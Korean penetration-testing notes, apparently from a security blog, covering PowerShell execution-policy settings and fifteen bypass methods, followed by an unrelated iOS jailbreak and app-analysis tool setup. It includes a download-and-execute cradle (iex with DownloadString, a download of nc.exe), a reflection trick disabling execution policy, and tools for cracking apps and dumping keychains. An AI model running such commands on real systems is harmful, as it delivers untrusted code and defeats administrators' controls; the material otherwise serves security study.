개요

윈도우 파워셸(Windows PowerShell)은 마이크로소프트가 개발한 확장 가능한 명령 줄 인터페이스(CLI) 셸 및 스크립트 언어를 특징으로 하는 명령어 인터프리터이다. 스크립트 언어는 닷넷 프레임워크 2.0을 기반으로 객체 지향에 근거해 설계되었다. - wikipedia

  • ps1 파일은 기본 보안정책으로 사용이 불가능
    • Windows Server 2012 R2만 기본 보안정책 설정이 RemoteSigned
    • 그 외 모든 버전(Windows 8.1 포함)은 기본 보안정책 설정이 Restricted
  • 스크립트를 실행하려면 Execution Policy 허용 필요
    • 로컬 컴퓨터에서는 관리자 권한으로 Execution Policy 설정이 가능
    • 보안 강화를 위해 Active Directory의 Group Policy를 통하여 설정 가능
    • Active Directory > Group Policy Management > Turn on Script Execution 설정
    • Group Policy 설정하면 관리자 권한으로도 Policy Execution 을 변경 불가

테스트 환경 설정

Execution Policy 확인

 PS > Get-ExecutionPolicy -List | ft -Autosize

001

실행 정책 변경 (관리자 권한)

PS > Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
PS > Set-ExecutionPolicy Bypass
PS > Set-ExecutionPolicy Restricted -Force

Execution Policy 종류

Policy Local Script 실행 Remote Script 실행
Restricted 불가능 불가능
AllSigned 디지털 서명된 스크립트실행 가능 디지털 서명된 스크립트실행 가능
RemoteSigned 가능 디지털 서명된 스크립트실행 가능
Unrestricted 가능 가능
Bypass 가능 가능
  • Remote Signed
    • 로컬 저장된 스크립트는 실행 가능
    • 원격에서 다운로드한 스크립트는 디지털 서명된 경우에만 실행 가능
        PS > \\[원격]\Process.ps1
        PS > invoke-Expression -Command \\[원격]\Process.ps1
      
  • UnRestricted
    • 원격에 있는 스크립트를 실행할때는 경고창을 출력후 실행
  • Restricted
    • 로컬/원격 스크립트 모두 실행 불가
  • Bypass
    • 로컬/원격 스크립트 실행 가능
        # 관리자 사용 
        PS > Set-ExcutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
      
  • AllSigned
    • 스크립트에 디지털 서명이 되어있지 않으면 실행 불가
    • Group Policy로 AllSigned로 설정하면 각 컴퓨터에서는 설정 변경을 하지 못하므로 디지털 서명된 스크립트 파일만 실행 가능

정책을 우회 하여 PowerShell 실행

간단한 스크립트를 작성하여 ps1파일로 저장 후 실행

Write-Host "Hello World! run me!!!"
  • Get-ExecutionPolicy 명령어로 실행 정책 확인 003
  • Restricted 정책일 경우 PowerShell 스크립트 사용 불가 002
  1. Paste the Script into an Interactive PowerShell Console 004

  2. Echo the Script and Pipe it to PowerShell Standard In
     Echo Write-Host "Hello World! run me!!!"  | PowerShell.exe -noprofile -
    

    006

  3. Read Script from a File and Pipe to PowerShell Standard In
     Get-Content .run.ps1 | PowerShell.exe -noprofile - 
    

    005

     TYPE .run.ps1 | PowerShell.exe -noprofile -
    

    007

  4. Download Script from URL and Execute with Invoke Expression
     powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL주소')"
     powershell -nop -c "Invoke-Expression(New-Object Net.WebClient).DownloadFile('URL주소', c:\temp\nc.exe)"
    
  5. Use the Command Switch
     Powershell -command "Write-Host 'Hello World! run me!!!'"
    

    008

  6. Use the EncodeCommand Switch
     $command = "Write-Host 'Hello World! run me!!!'" 
     $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
     $encodedCommand = [Convert]::ToBase64String($bytes) 
     powershell.exe -EncodedCommand $encodedCommand
    

    010

    011

  7. Use the Invoke-Command Command
     invoke-command -scriptblock {Write-Host "Hello World! run me!!!"}
    

    012

  8. Use the Invoke-Expression Command 013

    014

  9. Use the “Bypass” Execution Policy Flag
     PowerShell.exe -ExecutionPolicy Bypass -File .run.ps1
    

    015

  10. Use the “Unrestricted” Execution Policy Flag
    PowerShell.exe -ExecutionPolicy UnRestricted -File .run.ps1
    

    016

  11. Use the “Remote-Signed” Execution Policy Flag
    PowerShell.exe -ExecutionPolicy Remote-signed -File .run.ps1
    
  12. Disable ExecutionPolicy by Swapping out the AuthorizationManager
    PS > function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
    PS > Disable-ExecutionPolicy
    PS > .\run.ps1
    

    017

  13. Set the ExcutionPolicy for the Process Scope 018

  14. Set the ExcutionPolicy for the CurrentUser Scope via Command
    Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
    

    019

  15. Set the ExcutionPolicy for the CurrentUser Scope via the Registry
    HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
    

    021 020


참조

Microsoft
NETSPI
Winaero

  • 디바이스 정보 : iPhone 5 (iOS 10.3.3 - h3lix jailbreak)

iOS란?

iOS는 애플사의 아이폰, 아이팟 터치 그리고 아이패드에 내장되어 있는 모바일 운영 체제로 OS X를 기반으로 만들어져 있으며, OS X와 마찬가지로 다윈 파운데이션을 기반으로 하고있다.

Apple

iOS 구조 및 특징

iOS는 기본적으로 앱마다 별도의 파일을 생성하여 기본 리소스가 공유되지 않도록하며, 이른 샌드박스(Sandbox)라고 한다.

Jailbreak 방법

  • iOS 10.3.3 (iPhone5 최신버전)은 h3lix로 Semi-Jailbreak 가능

점검용 도구 설치

  • 기본 Cydia App
    • OpenSSH
    • BigBoss Recommended Tools : 진단 시 유용한 도구를 쉽게 설치 (ex, cURL, Class-Dump, SQLite 등)
    • MobileTerminal
    • iFile > Filza : iDevice의 File system 접근이 가능
    • Flex
    • BundleIDs
  • fria : Cydia에서 repository URL 추가 https://build.frida.re

  • Class_dump_z : Class-dump는 Ojective-C class 추출용으로 사용하는 커맨드 라인도구이며 iOS 정적분석 시 필요한 도구
    • 설치방법
        # wget http://networkpx.googlecode.com/files/class-dump-z_0.2a.tar.gz
        # tar xvfz class-dump-z_0.2a.tar.gz
        # mv class-dump-z /usr/bin/
      
  • dumpDecrypted : dumpDecrypted는 아이폰 app 실행파일은 암호화되어 있으며 실행 시 메모리에 로딩 전에 암호를 해독하여 메모리에 적제된 실행파일을 GDB를 이용하여 메모리 덤프를 하는 번거로운 작업 없이 실행파일 해독 가능한 도구
    • 설치방법
        # DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Applications/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Scan.app/Scan
      
  • Theos : Theos는 Xcode를 사용하지 않고 iOS 소프트웨어를 개발, 관리 가능한 cross-platform 개발 도구.
    • 설치장법
        BigBoss Recommended Tools를 설치하면 installtheos3 명령어를 실행하여 자동 설치 가능
        # installtheos3
      
  • Clutch : Clutch는 앱 크랙을 효율적으로 처리하고자 자동화된 앱 크랙 도구
    • 설치방법
        # wget https://github.com/KJCracks/Clutch/archive/1.4.5-git2.tar.gz
        # tar xvfz Clutch-1.4.5-git2.tar.gz
        # chmod 755 clutch
        # chown root clutch
        # clutch
      
  • Keychain-dumper : 키체인(KeyChain)을 dump를 획득 가능한 도구

  • Cycript
    • 동작 확인
        # cycript
        cy# var a= 2
        cy# Math.pow(a, 3)
        cy# 5 + 7
      
  • iRET : iOS에서 실행 가능한 APP을 모의해킹 시 반복되는 작업을 줄이기 위한 도구로 python으로 제작